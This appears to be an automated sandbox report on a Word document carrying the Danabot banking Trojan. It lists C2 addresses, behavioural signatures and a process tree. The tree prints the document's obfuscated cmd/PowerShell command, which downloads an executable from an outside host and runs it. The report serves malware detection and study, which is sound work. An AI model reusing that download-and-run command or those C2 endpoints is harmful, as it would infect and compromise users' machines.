Analysis
- max time kernel
146s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240319-en - resource tags
- submitted
04/04/2024, 23:16
General
- Target 강지현.docx
- Size 536KB
- Sample240404-29j3badb7v
- SHA256 453fff853ae047ddf5bcf8b1bbe08ec6e81a4a43b42757873e7e5dbfd05e9e11
Malware Config
Extracted
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danabot
-
135.181.106.42:443
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187.1.0.0:443
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187.1.0.0:0
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type
loader
Signatures
- Danabot
Danabot is a modular banking Trojan that has been linked with other malware.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Downloads MZ/PE file
- Executes dropped EXE 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 31 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
- Suspicious use of WriteProcessMemory 9 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\강지현.docx" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\cmd.execmd /c pow^ers^hell/W 01 c^u^rl htt^ps://math.shorbanggo.com/bb/1234.e^xe -o C:\Users\Public\iu4t4.exe;C:\Users\Public\iu4t4.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /W 01 curl https://math.shorbanggo.com/bb/1234.exe -o C:\Users\Public\iu4t4.exe;C:\Users\Public\iu4t4.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Public\iu4t4.exe"C:\Users\Public\iu4t4.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Windows\system32\shell32.dll",#61 C:\Users\Public\iu4t4.exe5⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of FindShellTrayWindow
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1420 --field-trial-handle=2260,i,3739451884007376837,4900555371550671478,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
w1p3nx[1].dotm
iso690.xsl
__PSScriptPolicyTest_ps0rpeg2.kjv.ps1
index.dat
iu4t4.exe
memory/1336-101-0x000001F659F20000-0x000001F659F30000-memory.dmp
memory/1336-490-0x000001F659F20000-0x000001F659F30000-memory.dmp
memory/1336-100-0x00007FFAE19A0000-0x00007FFAE2461000-memory.dmp
memory/1336-97-0x000001F65A080000-0x000001F65A0A2000-memory.dmp
memory/1336-99-0x000001F659F20000-0x000001F659F30000-memory.dmp
memory/1336-98-0x000001F659F20000-0x000001F659F30000-memory.dmp
memory/1336-591-0x000001F659F20000-0x000001F659F30000-memory.dmp
memory/1336-600-0x00007FFAE19A0000-0x00007FFAE2461000-memory.dmp
memory/4876-93-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-1-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-15-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-16-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-17-0x00007FFAE16F0000-0x00007FFAE1700000-memory.dmp
memory/4876-18-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-13-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-12-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-79-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-85-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-86-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-0-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-11-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-10-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-9-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-7-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-8-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-14-0x00007FFAE16F0000-0x00007FFAE1700000-memory.dmp
memory/4876-107-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-108-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-109-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-6-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-470-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-489-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-5-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-590-0x0000022CB2440000-0x0000022CB3410000-memory.dmp
memory/4876-3-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-4-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-2-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-680-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-679-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-676-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-677-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-678-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/4876-675-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/4876-674-0x00007FFAE3750000-0x00007FFAE3760000-memory.dmp
memory/5124-627-0x000000006E400000-0x000000006E49E000-memory.dmp
memory/5124-639-0x00000214D2F80000-0x00000214D30C0000-memory.dmp
memory/5124-638-0x000000006E400000-0x000000006E49E000-memory.dmp
memory/5124-637-0x00000214D6BD0000-0x00000214D7042000-memory.dmp
memory/5124-635-0x00000214D0E80000-0x00000214D17DD000-memory.dmp
memory/5124-633-0x00000214D2F80000-0x00000214D30C0000-memory.dmp
memory/5124-634-0x00000214D2F80000-0x00000214D30C0000-memory.dmp
memory/5124-632-0x00000214D0E80000-0x00000214D17DD000-memory.dmp
memory/5124-631-0x00000214D0E80000-0x00000214D17DD000-memory.dmp
memory/5124-630-0x00000214D2F80000-0x00000214D30C0000-memory.dmp
memory/5124-629-0x00000214D2F80000-0x00000214D30C0000-memory.dmp
memory/5124-628-0x00007FFB21E60000-0x00007FFB21E61000-memory.dmp
memory/5124-626-0x0000000063080000-0x0000000063301000-memory.dmp
memory/5124-623-0x00000214D0E80000-0x00000214D17DD000-memory.dmp
memory/5124-622-0x00000214D01B0000-0x00000214D0AF8000-memory.dmp
memory/5960-621-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-620-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/5960-608-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-618-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-619-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-617-0x00007FFB238D0000-0x00007FFB238D1000-memory.dmp
memory/5960-616-0x0000000002B00000-0x000000000345D000-memory.dmp
memory/5960-612-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-615-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-613-0x00007FFB236A0000-0x00007FFB236A1000-memory.dmp
memory/5960-614-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-611-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-610-0x00007FFB23690000-0x00007FFB23691000-memory.dmp
memory/5960-609-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-640-0x0000000002B00000-0x000000000345D000-memory.dmp
memory/5960-641-0x0000000000400000-0x0000000000950000-memory.dmp
memory/5960-642-0x0000000003560000-0x00000000036A0000-memory.dmp
memory/5960-643-0x00007FFB236D0000-0x00007FFB238C5000-memory.dmp
memory/5960-607-0x00007FFB22780000-0x00007FFB22781000-memory.dmp
memory/5960-606-0x000000006E400000-0x000000006E49E000-memory.dmp
memory/5960-604-0x000000006E400000-0x000000006E49E000-memory.dmp
memory/5960-605-0x0000000063080000-0x0000000063301000-memory.dmp
memory/5960-603-0x0000000063080000-0x0000000063301000-memory.dmp
memory/5960-602-0x0000000002B00000-0x000000000345D000-memory.dmp
memory/5960-601-0x0000000002B00000-0x000000000345D000-memory.dmp